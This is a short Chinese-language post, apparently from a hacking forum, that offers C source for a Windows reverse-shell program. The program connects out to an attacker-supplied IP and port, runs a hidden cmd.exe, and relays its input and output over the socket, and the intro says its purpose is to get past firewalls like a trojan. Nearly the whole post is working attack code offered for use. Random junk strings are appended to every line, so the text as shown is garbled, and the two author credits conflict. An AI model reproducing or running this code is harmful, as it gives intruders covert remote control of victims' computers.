这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C!_=L?QT^
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/* ============================== Vuy%7H
Rebound port in Windows NT =H: N!!:
By wind,2006/7 nls$
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===============================*/ F.(W`H*1+
#include &n]v
#include 3]iw3M
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#pragma comment(lib,"wsock32.lib") {Mo[C%
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void OutputShell(); ~Y0K Wx4
SOCKET sClient; Y8}y0]V
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MF$Dx| Tcj
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void main(int argc,char **argv) lX.1B&T9Lr
{ (g dzgLHy
WSADATA stWsaData; jn]l!nm
int nRet; BGNZE{K4"
SOCKADDR_IN stSaiClient,stSaiServer; 6ImW|%
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if(argc != 3) W-D4"
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{ p]e.E`'S
printf("Useage:\n\rRebound DestIP DestPort\n"); ! qtj1.w
return; A\"4[PXpQ
} amQiH!}8R
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WSAStartup(MAKEWORD(2,2),&stWsaData); 'D[ *|Qcy
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e*<pO@Uy
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stSaiClient.sin_family = AF_INET; Vs>e"czfm/
stSaiClient.sin_port = htons(0); ](+u'8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <e|B7<.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q>z(!'dw
{ I]#x0 ?D
printf("Bind Socket Failed!\n"); M6[O>z
return; 2_6@&2
} qe uc^+P;
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stSaiServer.sin_family = AF_INET; Rs'mk6+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !(_qM
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); YyY?<<z%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) O/l/$pe
{ u\K`TWb%
printf("Connect Error!"); <UW-fI)X
return; ~:b5UIAk
} |l~#qeZ%
OutputShell(); t4zKI~cO
} 4?`*#DPl
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void OutputShell() `b)i;m
{ UE/iq\a>
char szBuff[1024]; )uCa]IR
SECURITY_ATTRIBUTES stSecurityAttributes; C9%A?'`
OSVERSIONINFO stOsversionInfo; hC!8-uBK5<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aO
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STARTUPINFO stStartupInfo; Xq$9H@.
char *szShell; Gbb*p+(
PROCESS_INFORMATION stProcessInformation; r#mH[|@W~
unsigned long lBytesRead; xqj@T^y
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _BND{MsX
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); DPWnvd
stSecurityAttributes.lpSecurityDescriptor = 0; E`q)vk
stSecurityAttributes.bInheritHandle = TRUE; Cyp%E5b7
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Tu=~iQ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LV]F?O[K=
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nhB.>ReAi
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^}Gu'!z9D
stStartupInfo.wShowWindow = SW_HIDE; AYoLpes
stStartupInfo.hStdInput = hReadPipe; 6P`!yBAu
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %xwtG:IKEV
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GetVersionEx(&stOsversionInfo); 6$5SS#
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switch(stOsversionInfo.dwPlatformId) QqB9I-_
{ A~wVY
case 1: Vdb X4^V
szShell = "command.com"; ?_@Mg\Hc
break; Nk$OTDwP
default: &BRi& &f
szShell = "cmd.exe"; wGx*Xy1n<
break; ft Rza
} 0'II6,:
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); HAGpM\Qa
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send(sClient,szMsg,77,0); B&z~}lL
while(1) LVNJlRK
{ K7]+. f
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w7Vl,pN,
if(lBytesRead) Xs$UpQo
{ ck#MpQ!An
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); JX2@i8[~
send(sClient,szBuff,lBytesRead,0); u*<knZ~ty
} oz/Nx{bg
else PG'+vl
{ S,^)\=v
lBytesRead=recv(sClient,szBuff,1024,0); *ta?7uSiT
if(lBytesRead<=0) break; 76RFu@k
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nQ^ c{Bm:
} $g]'$PB
} sB%QqFRP
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return; 6,Y<1b*|Vo
}